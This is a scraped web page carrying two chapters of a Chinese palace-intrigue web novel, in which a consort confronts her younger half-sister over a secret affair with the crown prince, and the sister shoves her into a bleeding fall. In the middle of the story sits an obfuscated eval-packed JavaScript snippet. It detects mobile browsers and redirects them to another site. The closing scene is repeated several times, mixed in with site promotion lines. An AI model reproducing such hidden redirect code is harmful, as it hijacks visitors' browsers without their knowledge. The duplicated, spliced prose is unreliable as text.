“好!明月一本正经点点头,隐入暗处。 唐蕊继续宽慰李庶妃:“庶母,你要坚强啊,现在你二妹妹就靠你啦! “回!必须回!蕊蕊,我没时间去王妃姐姐那了,麻烦你告知王妃姐姐一声,今晚我不回来!李庶妃说罢看向福宝:“收拾一下东西,本庶妃要回娘家小住一日! 福宝点点头,赶紧去收拾了。 因为走得急,她没收拾多少东西。 唐蕊把李庶妃送走后,才去了秦芷嫣的院子。 巧的是,顾侧妃也在这里。 唐蕊也没避着顾侧妃,把李庶妃回娘家的事告诉了二人。 秦芷嫣听后厌恶的皱着眉,对司徒霄的无耻又有了一个全新的认知。 顾若雪眼底划过一丝冷光,嘴里却柔声道:“李妹妹一个人回去没事吗?那李二姑娘的…毕竟是太子,要不要让王爷去看一看? 第223章 太子明明很喜欢她 “肯定要啊!”秦芷嫣指了指徐嬷嬷:“王爷这个时候应该在军营,你派个可靠的小厮去传个信儿。” 徐嬷嬷点点头,赶紧去办了。 顾若雪也起身,找了个借口告辞。 离开秦芷嫣的院子后,顾若雪脸色阴沉下来:“陈姬最近如何?” 身后的霜蓉赶紧上前道:“青萝来消息说,还是跟以前一样,该吃吃该喝喝,只不过…最近她频频出入姜妃宫中,说是尽孝。” “笑话!”顾若雪冷笑一声:“入了东宫这么多年,现在才开始尽孝,未免太晚了些吧?除了她还有谁?” 霜蓉仔细回忆了一下,摇了摇头:“除了她就是随身宫婢,没人了。” 顾若雪眯起眼眸:“让青萝盯紧她,顺便告诉青萝,只要她帮本侧妃办好这件事,她的弟弟就能进青山书院念书。” 霜蓉点了点头,赶紧去办了。 “怪了…明知自己不会有孕,这个时候都还不急着脱身…” 顾若雪撩起自己的发丝,看向皇宫的位置。 还是说,陈姬,你有不能离开皇宫的理由? 又或者说,你有比自己安危更重要的任务没完成? 在宫里,会要命又迟迟无法完成的任务,那可太好猜了。 … 顾若雪想通了这些,立刻掉转脚步去了唐蕊的翠微阁,叫出了影主。 影主听完她的话,沉吟片刻才道:“昭华郡主也曾提醒过属下,属下已经让人盯着陈姬了。” 顾若雪愣了片刻,笑了:“蕊蕊果然聪慧,竟已发现了不对。不过我说的不光是陈姬,还有陈姬接触过的可疑的人。影主,您跟在皇上身边这么久,应该知道咱们皇上,有哪些弱点!” “…”要说弱点,还真有几个,最大的弱点无非是… 影主眸色微变:“属下知道了,侧妃放心!” 言罢,一个闪身消失在原地。 顾若雪歪着头若有所思,怎么感觉,影主的眼睛,好熟悉… “庶母,你怎么来啦!”唐蕊欢快的声音传来,打断了她的思绪。 “没事!”顾若雪回过神微微一笑:“我来看看辉泽。” “那你快进来哇,我跟你说,小辉泽…” 唐蕊小嘴叭 叭起来就没玩,顾若雪也把刚刚的想法抛之脑后。 … 李家! 收到李庶妃要回来住一晚的消息,李富和夫人立刻让人把她曾经的闺房收拾了一遍,就带着府中所有人出门迎接去了。 李富妻妾多,女儿四五个,就是没儿子。 现在年纪大了,他也认了命,全心全意培养府中几个女儿。 其中最看好的,自然是他的长女了。 终于,马车到,李富和李夫人笑着上前。 看到李庶妃下了马车,李夫人红了眼眶,嘴里却道:“臭丫头,谁家的姑娘跟你似的,都嫁出去了,还能三天两头往家里跑啊?” “娘!”李庶妃挽着她的胳膊,甜甜的喊了一声:“这不是想你了,还有爹,女儿也想爹爹了。” 李富笑呵呵道:“进去说进去说,你啊,就仗着璃王爷疼你,璃王妃性子好!” “那可不,你看,我想什么时候就什么时候出来,给王妃姐姐说一声,带够了人就行!”李庶妃非常嘚瑟。 她注定是个有福之人,就算是做庶妃又怎么啦? 头上的姐姐们开明,后宅也没勾心斗角的事,王爷还会雨露均沾,更有花不完的银子。 真是蕊蕊说的那什么…妥妥的人生赢家! 就是… 李庶妃阴郁的看了李云瑶一眼。 李云瑶被她看得胆战心惊,脚步顿了顿,隔了好久才慢吞吞的跟了上去。 不会的! 她跟太子哥哥的事那么隐秘,不会有人知道的! 李富两口子是真的很疼李庶妃这个女儿,一桌子菜几乎都是她爱吃的。 虽然妻妾很多,但每个妾室都很有规矩,跟睿王府比起来真是一个天一个地。 李夫人得了丈夫尊重,也善待他的庶女们。 每个庶女,都是请了专人教授规矩,甚至还破天荒的教了她们如何掌家。 这个技能,本来只有嫡出女儿才能学的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163777|196604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>除了平日用度、嫁妆份量以及无法继承李府财富,李府的庶女和嫡女也没什么不同。 因此,这一家子人口虽多,但也算和谐。 就是因为如此和谐,李庶妃才万万没想到,她的好二妹居然还有这样的心思。 酒过三巡后,李庶妃找了个借口打发走其他庶妹和她们的生母,唯独留下了自己的父母,以及李云瑶和她的生母文姨娘。 李富丝毫不知自己好女儿干了什么,还一脸不明所以:“霜儿,你这是…有事?” “那得问我的好二妹了。”李庶妃凉凉的看着李云霜:“今日你去文殊庵,到底干了什么事儿?” 李云瑶小脸一白,眼底划过一丝慌乱:“长姐,这话什么意思?妹妹听不懂啊!” 李庶妃一拍桌子冷声道:“我也搞不懂,你到底是哪里来的自信,觉得太子会喜欢你,竟然跟他搂搂抱抱,旁若无人的亲热?” 什么? 李富和李夫人两脸呆滞,就连文姨娘也不可置信的看着自己的女儿,唇瓣哆嗦:“什、什么?云瑶,你长姐说的话,是不是真的?” 李云瑶垂头流泪,又羞又气,恨不得找个地缝钻进去,却没有否认! 文姨娘大受打击,握着她的肩膀摇晃着,整个人都有些崩溃:“你到底怎么想的啊?那可是太子,太子啊,他当年连你长姐都看不上,难道会看上你吗?啊?” 怎么就看不上了? 太子明明很喜欢她! 还说她比长姐漂亮,一看就入了迷! 也不知道是不服还是生气,李云瑶推开文姨娘,哭着控诉:“为什么在你们眼里,我就不如长姐?就因为我是庶出吗?就因为我是庶出,我就要永远低长姐一等。看看你们给我找的夫婿,都是些什么人啊,现在太子殿下喜欢我,难道他不比你们给我找的那些夫婿强一万倍吗?难道长姐就能入璃王府,我就不能入东宫吗?” “你…你这个逆女,你是要气死我啊!”文姨娘怒其不争,转头看向李家两口子的阴沉的脸色,心里一个咯噔,扑通一声跪下了:“老爷,夫人,云瑶都是胡说八道的,你们可千万别听她的啊!” 第224章 李家的女儿,不会入东宫 李夫人叹息一声:“你先起来! “不…不…夫人,云瑶可是我这辈子的指望了,求求你们,不要…文姨娘真不明白,她一辈子老老实实,怎么就生了个心比天高,看不清事实的蠢货! 李富皱眉道:“你先起来,不管有没有云瑶,我李富的话都放在这里,只要有我一口吃的,就有你一口吃的。 “是啊!李夫人也道:“你是我给老爷选的人,多年来又本分规矩。你放心,既然我带你入了这后宅,就不会饿死你。 “呜呜呜…文姨娘心里又感动,又羞愧:“老爷,夫人,妾身愧对你们,没有给老爷生下个儿子,也没教好女儿呜呜… “哎呀,文姨娘,你先起来嘛! “大小姐呜呜呜…文姨娘哭着起身,颤抖的指着李云瑶,心也狠了起来:“云瑶,若我告诉你,你选太子的话,就不再是李家的女儿,也没有我这个娘了,你又当如何? 李云瑶一听猛的瞪大眼睛:“爹,姨娘,你们…你们不要女儿了吗? 李富冷声道:“李家的女儿,不会入东宫,要不要继续做李家的女儿,你选! “为何?为何?李云瑶倒不是笨蛋美人,只是对朝堂之事不了解。 就像是霸道总裁爱上已婚的我。 等‘我’好不容易离了婚,想跟他双树双栖的时候,却发现者换个霸道总裁的公司都是空壳公司,实际上分B没有! 李云瑶现在就是这个被‘霸道总裁’迷晕了的‘我’。 她此时此刻想不通,只觉得家人偏心。 满腔的委屈变成了愤恨:“从小到大,就因为长姐是嫡女,我们这些庶女处处都要被她压一头,长姐的衣服料子比我们好,长姐的月给比我们多,长姐的首饰嫁妆都是我们的好几倍。现在,就连女儿的婚事,你们也如此草率,明明有太子这个更好的人选,却非要推女儿入火坑! ‘啪!’文姨娘忍无可忍,甩了她一巴掌。 李云瑶都被打懵了:“姨娘,你打我?从小到大你都没打过我。 “我就是打太少,把你惯坏了!文姨娘拍着胸口,泪 如雨下:“你可知,那些夫婿人选,都是姨娘向夫人求来的啊? 李云瑶闻言如遭雷劈:“那些**品小官,还有那些商贾,都是你的主意?为什么?为什么你要这么做?为什么长姐能嫁璃王,我就不能嫁太子? 文姨娘哭得不能说话了。 李庶妃没好气道:“嫁?做什么春秋大梦呢你?嫁字只有正室能用,我只是被一顶小轿抬进璃王府的,更没有跟王爷拜堂的资格,嫁字可不敢当。至于你,我都没资格谈嫁,你觉得你就有资格吗?难道太子还真能让你做太子妃不成?你脑子是不是被门夹了? 李云瑶不福气,跟着脖子掷地有声:“就算做不成太子妃,我也能做太子侧妃! “那不也是妾?李庶妃更大声的吼了回去:“说得好听点,就是上了皇家玉牒的妾罢了,有什么可得意的?再说了,你还真以为你跟了他就能做太子侧妃?笑**了,就算他愿意,姜妃又愿意吗?侧妃之位就两个,你有什么价值让她折一个侧妃之位给你啊? 李夫人叹息一声,接过话来:“你姨娘来求我,说她这辈子是做妾的命,不希望你也为人妾,所以我才从那些**品官吏和商贾之中为你选夫婿,我们李家是商贾之家,你又是庶女,想为人正室,只有从这些人当中去选。我倒是没想到,你会因此事怨上我! 李云瑶呆呆的,脑子里乱糟糟的。 她是真没想到,从**品小官里选夫竟然是她亲娘的主意。 可…那又如何呢? 太子殿下说过,喜欢她,会爱护她一辈子,把她捧在手心的。 太子殿下对她笑得那么温柔,怎么会是骗她的呢! 就像是李云霜说的,她有什么价值让太子殿下骗啊? 所以,太子殿下对她是真心的。 她这些家人,都是阻止她和太子哥哥在一起的筷刽子手。 最可恶的就是李云霜,她已经是璃王庶妃了,分明就是担心被自己比下去,才会出来揭穿自己,她就是见不得自己好! “李云霜,都怪你!李云瑶怪叫一声,朝李庶妃撞了过去。 李庶妃也没想到她会突然发疯啊,被撞了个正着,身后又是桌椅,连人带椅子一起翻滚在地。 “霜儿!李富和李夫 人也好,云姨娘也罢,吓了一跳,赶紧冲了上去。 李云霜呆呆的站在原地,不敢相信自己竟做了这样的事。 “肚子,肚子…好疼…”李庶妃捂着小腹,痛苦的呜咽出声。 文姨娘低头一看,瞳孔瞪大,声音都在颤抖:“血…血啊…” “李庶妃!”司徒澈刚一到,入眼的就是这一幕。 素来嚣张明媚的李庶妃此时捂着小腹倒地不起,身下的血不断晕开,给她衣裳都染上了刺眼的红。 “王爷…爷…好疼…”李庶妃吃力的朝司徒澈伸出手。 小说更新,记住域名caixs.com♀(请来才 小说 看最新章节 完整章节) 司徒澈赶紧上前把她抱了起来,夺门而出。 流了这么多血,估计是… 现在他只希望能保住李庶妃的命! 李富夫妻快步追了出去。 文姨娘跌坐在地,神情呆呆的。 作为过来人,她知道那滩血意味着什么。 李云瑶知道自己闯了祸,也开始怕了:“姨…姨娘…我…我不是故意的,我就是气着了,就是不服气,我…呜呜…我真不是故意的…” 不是故意的? 现在说这些又有什么用? 这个女儿,废了… “从今往后,我…不再是你娘,你是生,是死,都跟我,无关了…”文姨娘无比绝望的看了她一眼,扶着门栏起身,离开… “我真不是故意的,呜呜呜…我也不知道长姐…我不知道啊…”李云瑶也觉得自己完了,跌坐在地哭得撕心裂肺。 但没有人去劝她! 刚刚屋里发生了什么,稍微一打听就能知道。 其他几个姨娘得知消息后,纷纷关上门告诫自己的女儿:珍爱生命,远离东宫,包括一条狗在内,都要离得远远的! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 人也好云姨娘也罢吓了一跳赶紧冲了上去。 李云霜呆呆的站在原地不敢相信自己竟做了这样的事。 “肚子肚子…好疼…”李庶妃捂着小腹痛苦的呜咽出声。 文姨娘低头一看瞳孔瞪大声音都在颤抖:“血…血啊…” “李庶妃!”司徒澈刚一到入眼的就是这一幕。 素来嚣张明媚的李庶妃此时捂着小腹倒地不起身下的血不断晕开给她衣裳都染上了刺眼的红。 “王爷…爷…好疼…”李庶妃吃力的朝司徒澈伸出手。 司徒澈赶紧上前把她抱了起来夺门而出。 流了这么多血估计是… 现在他只希望能保住李庶妃的命! 李富夫妻快步追了出去。 文姨娘跌坐在地神情呆呆的。 作为过来人她知道那滩血意味着什么。 李云瑶知道自己闯了祸也开始怕了:“姨…姨娘…我…我不是故意的我就是气着了就是不服气 不是故意的? 现在说这些又有什么用? 这个女儿废了… “从今往后我…不再是你娘你是生是死都跟我无关了…”文姨娘无比绝望的看了她一眼扶着门栏起身离开… “我真不是故意的呜呜呜…我也不知道长姐…我不知道啊…”李云瑶也觉得自己完了跌坐在地哭得撕心裂肺。 但没有人去劝她! 刚刚屋里发生了什么稍微一打听就能知道。 其他几个姨娘得知消息后纷纷关上门告诫自己的女儿:珍爱生命远离东宫包括一条狗在内都要离得远远的! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 人也好,云姨娘也罢,吓了一跳,赶紧冲了上去。 李云霜呆呆的站在原地,不敢相信自己竟做了这样的事。 “肚子,肚子…好疼…”李庶妃捂着小腹,痛苦的呜咽出声。 文姨娘低头一看,瞳孔瞪大,声音都在颤抖:“血…血啊…” “李庶妃!”司徒澈刚一到,入眼的就是这一幕。 素来嚣张明媚的李庶妃此时捂着小腹倒地不起,身下的血不断晕开,给她衣裳都染上了刺眼的红。 “王爷…爷…好疼…”李庶妃吃力的朝司徒澈伸出手。 司徒澈赶紧上前把她抱了起来,夺门而出。 流了这么多血,估计是… 现在他只希望能保住李庶妃的命! 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刚刚屋里发生了什么,稍微一打听就能知道。 其他几个姨娘得知消息后,纷纷关上门告诫自己的女儿:珍爱生命,远离东宫,包括一条狗在内,都要离得远远的! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 人也好,云姨娘也罢,吓了一跳,赶紧冲了上去。 李云霜呆呆的站在原地,不敢相信自己竟做了这样的事。 “肚子,肚子…好疼…”李庶妃捂着小腹,痛苦的呜咽出声。 文姨娘低头一看,瞳孔瞪大,声音都在颤抖:“血…血啊…” “李庶妃!”司徒澈刚一到,入眼的就是这一幕。 素来嚣张明媚的李庶妃此时捂着小腹倒地不起,身下的血不断晕开,给她衣裳都染上了刺眼的红。 “王爷…爷…好疼…”李庶妃吃力的朝司徒澈伸出手。 司徒澈赶紧上前把她抱了起来,夺门而出。 流了这么多血,估计是… 现在他只希望能保住李庶妃的命! 李富夫妻快步追了出去。 文姨娘跌坐在地,神情呆呆的。 作为过来人,她知道那滩血意味着什么。 李云瑶知道自己闯了祸,也开始怕了:“姨…姨娘…我…我不是故意的,我就是气着了,就是不服气,我…呜呜…我真不是故意的…” 不是故意的? 现在说这些又有什么用? 这个女儿,废了… “从今往后,我…不再是你娘,你是生,是死,都跟我,无关了…”文姨娘无比绝望的看了她一眼,扶着门栏起身,离开… “我真不是故意的,呜呜呜…我也不知道长姐…我不知道啊…”李云瑶也觉得自己完了,跌坐在地哭得撕心裂肺。 但没有人去劝她! 刚刚屋里发生了什么,稍微一打听就能知道。 其他几个姨娘得知消息后,纷纷关上门告诫自己的女儿:珍爱生命,远离东宫,包括一条狗在内,都要离得远远的! 你的朋友正在书荒,快去帮帮他吧 人也好,云姨娘也罢,吓了一跳,赶紧冲了上去。 李云霜呆呆的站在原地,不敢相信自己竟做了这样的事。 “肚子,肚子…好疼…”李庶妃捂着小腹,痛苦的呜咽出声。 文姨娘低头一看,瞳孔瞪大,声音都在颤抖:“血…血啊…” “李庶妃!”司徒澈刚一到,入眼的就是这一幕。 素来嚣张明媚的李庶妃此时捂着小腹倒地不起,身下的血不断晕开,给她衣裳都染上了刺眼的红。 “王爷…爷…好疼…”李庶妃吃力的朝司徒澈伸出手。 司徒澈赶紧上前把她抱了起来,夺门而出。 流了这么多血,估计是… 现在他只希望能保住李庶妃的命! 李富夫妻快步追了出去。 文姨娘跌坐在地,神情呆呆的。 作为过来人,她知道那滩血意味着什么。 李云瑶知道自己闯了祸,也开始怕了:“姨…姨娘…我…我不是故意的,我就是气着了,就是不服气,我…呜呜…我真不是故意的…” 不是故意的? 现在说这些又有什么用? 这个女儿,废了… “从今往后,我…不再是你娘,你是生,是死,都跟我,无关了…”文姨娘无比绝望的看了她一眼,扶着门栏起身,离开… “我真不是故意的,呜呜呜…我也不知道长姐…我不知道啊…”李云瑶也觉得自己完了,跌坐在地哭得撕心裂肺。 但没有人去劝她! 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